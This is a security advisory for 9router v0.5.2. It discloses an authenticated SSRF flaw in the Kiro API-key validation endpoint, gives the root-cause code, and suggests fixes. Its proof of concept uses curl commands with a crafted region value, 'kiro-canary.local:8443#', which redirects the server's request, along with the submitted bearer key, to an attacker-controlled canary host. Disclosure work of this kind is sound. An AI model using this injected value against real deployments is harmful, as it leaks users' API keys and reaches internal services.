GHSA-6mwv-4mrm-5p3m: Input Validation

Summary

The Kiro API-key validation endpoint builds an upstream URL using a user-controlled region value. By supplying a crafted region such as kiro-canary.local:8443#, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed codewhisperer.<region> hostname. The request forwards the submitted Kiro API key as an Authorization: Bearer header.

Details

- Affected version / commit: 9router v0.5.2 @ 5da508a. - Endpoint: POST /api/oauth/kiro/api-key. - Correct runtime payload: region: "kiro-canary.local:8443#". - Do not use the old @host# payload (region: "@kiro-canary.local:8443#"); it is blocked by Node/undici fetch() because it creates URL credentials ("Request cannot be constructed from a URL that includes credentials"). - Constructed upstream host becomes: codewhisperer.kiro-canary.local:8443 (the # turns the trailing .amazonaws.com into a URL fragment). - HTTPS canary captured: Authorization: Bearer DUMMYKIROAPIKEYFORLOCALREPRO. - TLS verification was not globally disabled; the reproduction uses a local CA via NODEEXTRACACERTS. - The no-auth control returns 401, so this standalone issue is authenticated. - SameSite=Lax on the session cookie prevents cross-site POST cookie delivery, so do not claim drive-by CSRF unless another same-site / auth-bypass primitive is chained.

Root cause. The route reads region straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error:

js // src/app/api/oauth/kiro/api-key/route.js const { apiKey, region } = await request.json(); ... const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1"); ... } catch (error) { return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body }

js // src/lib/oauth/services/kiro.js — listAvailableProfiles() const endpoint = https://codewhisperer.${region}.amazonaws.com; // region interpolated const response = await fetch(endpoint, { method: "POST", headers: { "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles", "Authorization": Bearer ${accessToken}, // credential forwarded ... }, body: JSON.stringify({ maxResults: 10 }), }); if (!response.ok) { const error = await response.text(); throw new Error(Failed to list profiles: ${error}); // upstream body -> error.message }

There is no allowlist on region, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a codewhisperer.<attacker-domain> that resolves to an internal address (e.g. 169.254.169.254 or RFC1918) would be reached.

PoC

Start the package:

bash docker compose up --build

The endpoint is authenticated, so first obtain a dashboard session using the password configured in docker-compose.yml (INITIALPASSWORD), saving the cookie:

bash curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \ -H "Content-Type: application/json" \ -d '{"password":"repro-dashboard-pass"}'

Then send the region-injection request with that session cookie:

bash curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMYKIROAPIKEYFORLOCALREPRO","region":"kiro-canary.local:8443#"}'

Expected:

- 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected. - docker compose logs kiro-canary shows a request with: - Host: codewhisperer.kiro-canary.local:8443 - Authorization: Bearer DUMMYKIROAPIKEYFORLOCALREPRO

No-auth control (no session cookie):

bash curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMYKIROAPIKEYFORLOCALREPRO","region":"kiro-canary.local:8443#"}'

Expected: 401 Unauthorized.

Safe-region control (region: "us-east-1"): no canary hit; the blackholed AWS host is never contacted.

Impact

An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug.

Screenshots

The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control.

1. Safe-region control — normal Kiro validation path

<img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" />

An authenticated request to /api/oauth/kiro/api-key using the valid region us-east-1 and a dummy API key completes normally with 200 OK. This establishes the expected non-malicious validation path.

2. Region-injection SSRF trigger — canary marker reflected

<img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" />

An authenticated request supplies the crafted region value kiro-canary.local:8443#. Because the upstream URL is built from the raw region value, the request is routed to the attacker-controlled canary host under the constructed codewhisperer.<attacker-domain> hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.

3. HTTPS canary evidence — Authorization header forwarded

<img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" />

The HTTPS canary logs show a server-side request from the 9router container with Host: codewhisperer.kiro-canary.local:8443 and Authorization: Bearer DUMMYKIROAPIKEYFORLOCALREPRO. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.

4. No-auth control — endpoint requires authentication

<img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" />

The same region-injection payload is sent without an authenticated session cookie, and the server returns 401 Unauthorized. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.

Suggested Fix

- Validate region against a strict allowlist of known Kiro/AWS regions (e.g. ^[a-z]{2}-[a-z]+-\d$). - Construct upstream endpoints only from fixed enum values. - Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators. - After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern. - Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in error.message.